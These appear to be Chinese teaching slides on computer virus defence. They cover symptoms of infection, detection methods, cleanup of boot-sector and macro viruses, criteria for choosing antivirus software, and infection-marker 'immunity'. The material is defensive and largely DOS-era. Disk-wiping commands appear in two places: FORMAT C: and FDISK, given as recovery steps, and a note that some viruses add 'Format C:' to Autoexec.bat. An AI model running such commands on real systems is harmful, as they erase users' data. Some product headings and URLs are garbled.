计算机病毒的预防 为了统筹全国的计算机病毒的防治,2000年5月在原“计算机病毒检测防治产品检测中心”的基础上,成立了“国家计算机病毒应急处理中心”。国家计算机病毒应急处理中心工作任务是:充分调动国内防治计算机病毒的力量,快速发现病毒疫情,快速作出反应,快速处置,及时消除病毒,防止计算机病毒对我国的计算机网络和信息系统造成重大的破坏,确保我国信息产业安全健康发展。 另一方面,为了使中国的计算机防治工作走上法制轨道,国家于1994年2月颁布了《中华人民共和国计算机信息系统安全保护条例》,在此基础上又颁布了《计算机病毒防治管理办法》,还在新修改的《中华人民共和国刑法》中对故意制造、传播计算机病毒的行为规定了相应的处罚办法。 161

计算机病毒发现 计算机病毒是一段程序代码,即使它隐藏得很好,但也会留下许多痕迹。通过对这些蛛丝马迹的判别,就能发现计算机病毒的存在了。 1. 根据表现发现病毒 根据计算机病毒感染和发作的阶段,可以将计算机病毒的表现现象分为三大类:计算机病毒发作前、发作时和发作后的表现现象。在人工情况下,可以通过发现这些表现推断发现计算机病毒。 (1)计算机病毒发作前的表现现象 计算机病毒发作前阶段,指从计算机病毒感染计算机系统,潜伏在系统内开始,一直到激发条件满足,计算机病毒发作之前的阶段。在这个阶段,计算机病毒的行为主要是以潜伏、传播为主。计算机病毒会以各式各样的手法来隐藏自己,在不被发现同时,又自我复制,以各种手段进行传播。但是,它总是有一些表现,例如: 162

计算机病毒发现 原来运行正常的计算机突然经常性无缘无故地死机:由于修改了中断引起的系统不稳定。 操作系统无法正常启动:可能由于感染病毒后系统文件结构发生变化,无法被操作系统加载、引导。 运行速度明显变慢:可能由于计算机病毒占用了大量的系统资源,并且自身的运行占用了大量的处理器时间,造成系统资源不足,运行变慢。 原来正常运行的软件总出现内存不足的错误:可能是计算机病毒驻留后占用了系统中大量的内存空间,使得可用内存空间减小。 打印和通讯异常:可能由于计算机病毒驻留内存后占用了打印端口、串行通讯端口的中断服务程序,使之不能正常工作。 应用程序经常发生死机或者非法错误:可能由于计算机病毒破坏了应用程序本身的正常功能,或者计算机病毒程序本身存在着兼容性方面的问题造成的。 163

计算机病毒发现 系统文件的时间、日期、大小发生变化:这是最明显的计算机病毒感染迹象。 打开的Word文档另存时只能以模板方式保存:往往是打开的Word文档中感染了Word宏病毒的缘故。 磁盘空间突然迅速减少。 网络驱动器卷或共享目录无法调用。 基本内存发生变化(一般少1Kb~2Kb):通常是感染了引导型计算机病毒所造成。 陌生人发来的电子函件。 自动链接到一些陌生的网站。 应当注意:一般的系统故障是有别与计算机病毒感染的。系统故障大多只符合上面的一点或二点现象,而计算机病毒感染所出现的现象会多的多。 164

计算机病毒发现 (2)计算机病毒发作时的表现现象 计算机病毒发作时是指满足计算机病毒发作的条件,计算机病毒程序开始破坏行为的阶段。通常,不同的计算机病毒发作时的表现亦不相同。下面是一些病毒发作常见的表现现象: 提示一些不相干的话。 发出一段的音乐,如“杨基”(Yangkee)计算机病毒和中国的“浏阳河”计算机病毒。 产生特定的图象:如小球计算机病毒。 硬盘灯不断闪烁:病毒使有持续大量的硬盘读写操作。 进行游戏算法。 Windows桌面图标发生变化。 计算机突然死机或重启。 自动发送电子函件。 鼠标指针自己动。 应当注意,上述现象须与计算机正常运行时的表现相区分 165

计算机病毒发现 (3)计算机病毒发作后的表现现象 通常,计算机病毒发作都会给计算机系统带来破坏性的后果。大多数计算机病毒都是属于“恶性”计算机病毒。“恶性”计算机病毒发作后往往会带来很大的损失,下面列举一些恶性计算机病毒发作后所造成的后果。 硬盘无法启动:可能是计算机病毒破坏了硬盘的引导扇区。 系统文件丢失或被破坏:可能是某些计算机病毒发作时删除了系统文件,或者破坏了系统文件。 文件目录发生混乱:有两种情况。一种就是确实将目录结构破坏;另一种情况将真正的目录区转移到硬盘的其他扇区中。只要病毒存在,后者一般能够被恢复的。 166

计算机病毒发现 数据丢失:可能是计算机病毒修改了硬盘的关键内容(如文件分配表,根目录区等),或部分文档丢失或被破坏。 部分文档自动加密码:可能是某些机病毒利用加密算法,将加密密钥保存在计算机病毒程序体内或其他隐蔽的地方。一旦这种计算机病毒被清除,被加密的文档就很难被恢复了。 修改Autoexec.bat文件,增加Format C:一项,导致计算机重新启动时格式化硬盘。 部分可软件升级主板的BIOS程序混乱,主板被破坏。 网络瘫痪,无法提供正常的服务。 167

计算机病毒发现 2. 进程监视 进程监视会观察到系统的活动状况,同时也会拦截所有可疑行为。例如,多数个人计算机的BIOS都有防病毒设置,当这些设置打开时,就允许计算机拦截所有对系统主引导记录进行写入的企图。 3. 验证校验信息 使用信息校验码可以发现文件内部字节的变化。一般情况下,未被病毒感染的系统首先应生成一个基准记录,然后规律性地使用校验码(如CRC)来检查文件的改变情况。 168

计算机病毒发现 4. 使用病毒扫描程序 病毒扫描程序使用特征文件(Signature file)在被感染的文件中查找病毒。特征文件是列出所有已知病毒和它们的属性的数据库。这些属性包括病毒代码、传染文件的类型和有助于查找病毒的其他信息。 病毒扫描程序有多种形式。其中,基本的形式有按需扫描和内存驻留两种。按需扫描型程序需要手工启动或者由一个自动进程启动运行。这种程序启动后,一般会在整个驱动器或系统中查找病毒,包括RAM、硬盘等设备。内存驻留型是一种在后台运行的程序。它们一般在系统启动时就初始化,然后一直在内存中保持激活状态,一旦有文件访问,就会拦截对文件的调用,进行病毒检查,然后才允许文件装入内存。 169

计算机病毒的清除 病毒的清除,也称为对象恢复,就是将染毒文件中的病毒代码摘除。计算机病毒很多,并且还在不断出现。它们特性各异,生成技术不同,清除方法也不同。下面介绍几种已有病毒的清除方法。 170

计算机病毒的清除 1. 引导型病毒的清除 清除引导型病毒的最有效、最简单方法是进行磁盘的格式化。但是,格式化的同时也使有用数据同归于尽。因此,要尽量采用不格式化方法清除引导型病毒。 (1)主引导扇区的修复 1 用无毒软盘启动系统。 2 寻找一台同类型、硬盘分区相同的无毒计算机,将其硬盘主引导扇区写入一张软盘。 3 将该盘插入染毒计算机,将其中采集的主引导扇区数据写入染毒硬盘。 4 修复结束。 171

计算机病毒的清除 (2)BOOT扇区的恢复 1 用无毒软盘启动系统。 2 运行下面的命令: 注意: FDISK/MBR(重写一个无病毒的MBR)。 FDISK(读取或重写分区表)。 FORMAT C:/S或SYS C:(重写一个无毒的活动分区引导记录)。 注意: 对硬盘分区、FAT或其他加密病毒,需要根据病毒的算法先进行解码。 如果引导型病毒将原主引导扇区或BOOT覆盖写入根目录区,被覆盖的根目录区将永久性破坏,不可恢复。 172

计算机病毒的清除 2. 文件型病毒的清除 对于文件型病毒,可分两种情形讨论。一是破坏性感染病毒。这类病毒一般采用覆盖式写入,由于破坏了宿主文件,所以当没有原文件的副本时,是不可恢复的。另一种情形是非破坏性病毒。它们感染的文件是可以恢复的。但是恢复方法是很复杂的,没有专门知识(如对可执行文件格式的了解,以及是否掌握汇编语言知识)是做不到手工恢复的。 在文件型病毒的清除时,特别要注意交叉型病毒的手工清除方法。所谓交叉感染是指一个文件同时感染了多种病毒。交叉感染的文件大致有两种基本结构。对于附在宿主文件尾部的病毒,清除的顺序与感染和执行的顺序一致(先执行的先清除);对于附在宿主文件头部的病毒,清除的顺序与感染和执行的顺序相反(先执行的后清除) 173

计算机病毒的清除 还要注意,COM文件感染可能会有更复杂的情形,即首尾都附加有病毒。这时,就要注意在100H处的跳转语句是先执行哪个病毒程序,以及以后的跳转语句形成的执行顺序。 174

计算机病毒的清除 3. 宏病毒的清除 (1)手工清除 例如清除Word文档中的宏病毒,可以采用如下方法: (2)使用杀毒软件 1 选取“工具 | 宏”,进入“管理器”; 2 选取“宏方案项(M); 3 在“宏方案项的有效范围“下拉列表框中,选择要检查的文档,在其上方列表框中会显示该文档模板中出现的宏; 4 将来源不明的宏删除。 (2)使用杀毒软件 在Windows环境下使用KV3000清除宏病毒的方法。 1 执行KV3000; 2 任选一可能存在宏病毒的子目录进行检查; 3 为安全起见,查出病毒后,先将之扩展名改名(如改为.kv); 4 将原文件中的病毒杀除。 175

病毒防治软件 1. 病毒防治软件的类型 病毒防治软件的功能不外乎查毒、杀毒。按照查毒、杀毒机制,病毒防治软件可以分为3类: (1)病毒扫描型软件:病毒扫描型软件采用特征扫描法,根据已知病毒特征扫描可能的感染对象。 (2)完整性检查型软件:完整性检查型软件采用比较法和校验法,监视对象(包括引导扇区和文件等)的属性(大小、时间、日期和校验和)和内容,如果发生变化,则对象极有可能被病毒感染。 (3)行为封锁型软件:行为封锁型软件采用驻留内存在后台工作的方式,监视可能因病毒引起的异常行为。发现异常行为,就及时发出警告,让用户决定是否让所发生的行为继续进行。 176

病毒防治软件 2. 病毒防治软件的选择指标 (1)识别率:识别率主要从下面两个方面来衡量: 误报率:在被检测对象中,对没有感染病毒的对象发出警报的比率。 漏报率:在被检测对象中,对感染病毒的对象没有被检测出比率。 (2)检测速度:不同的抗病毒软件使用不同病毒扫描算法,会影响检测速度。当然,开发者的能力也影响检测速度。 (3)动态检测(on-the-fly scanning)能力:动态检测也称实时检测检测,指在操作(打开、关闭、创建、读/写)时检测病毒的能力。具有动态检测能力的抗病毒软件总是处于激活状态,一般驻留内在存,主动检测各种对象。 (4)按需检测(on-demand scanning)能力:抗病毒软件一般处于非激活状态,在用户请求下才开始扫描。 (5)多平台可用性:抗病毒软件可以识别OS,根据不同的OS,利用不同的特征。 (6)可靠性:可靠性是指抗病毒软件能够完成正常的扫描,它是一个十分重要的准则。 177

病毒防治软件 3. 病毒防治软件产品 (1)国外防病毒产品及查询网站 (2)国外防病毒产品及查询网站 · kaspersky,网址:http://www.kaspersky.com.cn VirusScan,网址:http://www.mcafeeb2b.com · NAV,网址:http://www.symantee.com · Pandaguard,网址:http://www. pandaguard.com (2)国外防病毒产品及查询网站 · KILL,网址:http://www.kill.com (冠群金辰软件公司) · KV,网址:http://www.jiangmin.com · RAV,网址:http://www. rising.com · VRV,网址:http://www.vrv.com (北信源) 178

计算机病毒侵害系统的恢复 查毒杀毒的目的,是为了让系统能正常工作。因此,查毒、杀毒之后,还要对被破坏了的系统进行修复。 一旦遇到计算机病毒破坏了系统,采取一些简单的办法就可以杀除大多数的计算机病毒,恢复被计算机病毒破坏的系统。下面介绍计算机病毒感染后的一般修复处理方法: 179

计算机病毒侵害系统的恢复 (1)首先必须对系统破坏程度有详细而全面的了解,并根据破坏的程度来决定采用对应的有效清除方法和对策: 若受破坏的大多是系统文件和应用程序文件,并且感染程度较深,那么可以采取重装系统的办法来达到清除计算机病毒的目的; 若感染的是关键数据文件或感染比较严重(如硬件被CIH计算机病毒破坏),就应当考虑请计算机病毒专家来进行清除和数据恢复工作。 (2)修复前,尽可能再次备份重要数据文件。 目前防杀病毒软件在杀毒前大多都会保存重要数据和被感染文件,以便误杀或因杀毒造成新的破坏后能够恢复现场。其中,对特别重要的用户数据文件等在杀毒前还应当单独进行手工备份,但是不能备份在被感染破坏的系统内,也不应该与平时的常规备份混在一起。 180

计算机病毒侵害系统的恢复 (3)启动防杀计算机病毒软件并对整个硬盘进行扫描。 注意,某些计算机病毒(如CIH计算机病毒)在Windows 95/98状态下无法完全清除,此时应用事先准备好的未感染计算机病毒的DOS系统软盘启动系统,然后在DOS下运行相关杀毒软件进行清除。 (4)发现计算机病毒后,一般应利用防杀计算机病毒软件清除文件中的计算机病毒。如果可执行文件中的计算机病毒不能被清除,应将其删除后重新安装相应的应用程序。 (5)杀毒完成后,重启计算机,再次用防杀计算机病毒软件检查系统中是否还存在计算机病毒,并确定被感染破坏的数据确实被完全恢复。 (6)对于杀毒软件无法杀除的计算机病毒,应将计算机病毒样本送交防杀计算机病毒软件厂商的研究中心,以供详细分析。 181

计算机病毒免疫技术 1. 计算机病毒免疫的基本原理 计算机病毒的传染模块一般包括传染条件判断和实施传染两个部分。在病毒被激活的状态下,病毒程序通过判断传染条件的满足与否,以决定是否对目标对象进行传染。一般情况下,病毒程序在传染一个对象后,都要给被传染对象加上传染标识。传染条件的判断就是检测被攻击对象是否存在这种标识:若存在这种标识,则病毒程序不对该对象进行传染;若不存在这种标示,则病毒程序就对该对象实施传染。于是,如果能在正常对象中加上这种标识,就像给生物体注射疫苗后会产生抗体一样,使该对象可以不受病毒的传染,起到免疫的作用。如香港病毒,1575病毒,在传染前先检查待传染的扇区或程序里是否含有病毒代码,如果没有找到则进行传染;如果找到了则不再进行传染。这种用作判断是否为病毒自身的病毒代码被称作传染标志,或免疫标志。 182

计算机病毒免疫技术 2.针对某一种病毒的计算机病毒免疫方法 例如对小球病毒,在DOS引导扇区的1FCH处填上1357H,小球病毒一检查到这个标志就不再对它进行传染了。对于1575文件型病毒,免疫标志是文件尾的内容为0CH和0AH的两个字节,1575病毒若发现文件尾含有这两个字节,则不进行传染。这种方法的优点是可以有效地防止某一种特定病毒的传染。但缺点很严重,主要有以下几点: (1)对于不设有感染标识或不检查病毒标志的病毒不能达到免疫的目的:有的病毒只要在激活的状态下,会无条件地把病毒传染给被攻击对象,而不论这种对象是否已经被感染过或者是否具有某种标识。如黑色星期五,是在传染时不判断是否存在免疫标志,病毒只要找到一个可传染对象就进行一次传染,使一个文件可能被黑色星期五反复传染多次,滚雪球一样越滚越大(要说明的是,黑色星期五病毒程序中本来具有判别传染标志的代码,但由于程序设计错误,使判断失败,形成现在的情况,对文件会反复感染,传染标志形同虚设)。 183

计算机病毒免疫技术 (2)当出现这种病毒的变种不再使用这个免疫标志时,或出现新病毒时,免疫标志发挥不了作用。 (3)某些病毒的免疫标志不容易仿制,非要加上这种标志不可,则对原来的文件要做大的改动。例如对大麻病毒就不容易做免疫标志。 (4)由于病毒的种类较多,又有技术上的原因,不可能对一个对象加上各种病毒的免疫标识,这就使得该对象不能对所有的病毒具有兔疫作用。 (5)这种方法能阻止传染,却不能阻止病毒的破坏行为,仍然放任病毒驻留在内存中。 目前使用这种免疫方法的商品化反病毒软件已不多见了。 184

计算机病毒免疫技术 3.基于自我完整性检查的计算机病毒免疫方法 这种方法的原理是,为可执行程序增加一个免疫外壳,同时在免疫外壳中记录有关用于恢复自身的信息。免疫外壳占1KB~3KB。执行具有这种免疫功能的程序时,首先运行免疫外壳,检查程序自身的大小、校验和、生成日期和时间等情况,无发现异常,再转去执行受保护的程序。这种免疫方法可以看作是一种通用的自我完整性检验方法,不论什么原因使这些程序本身的特性受到改变或破坏,免疫外壳都可以检查出来,并发出告警,并在大多数情况下能使之复原。此外还提供可供用户选择的回答:自毁、重新引导启动计算机、自我恢复到未受改变前的情况和继续操作。 185

计算机病毒免疫技术 但是,这种方法也存在一些缺点和不足: (1)每个受到保护的文件都要增加1KB~3KB,增加额外的存储开销。 (2)现在使用的一些校验码算法不能满足防病毒的需要,被某些种类的病毒感染的文件不能被检查出来。 (3)目前这种方法只能用于文件病毒而不能用于引导扇区病毒,也无法对付覆盖方式的文件型病毒。 (4)有些类型的文件外加免疫外壳后便不能正常执行。这些文件不能采用这种防护方法。 (5)当某些尚不能被病毒检测软件检查出来的病毒感染了一个文件,而该文件又被免疫外壳包在里面时,这个病毒就象穿了“保护盔甲”,使查毒软件查不到它,而它却能在得到运行机会时跑出来继续传染扩散。 186

谢 谢! 187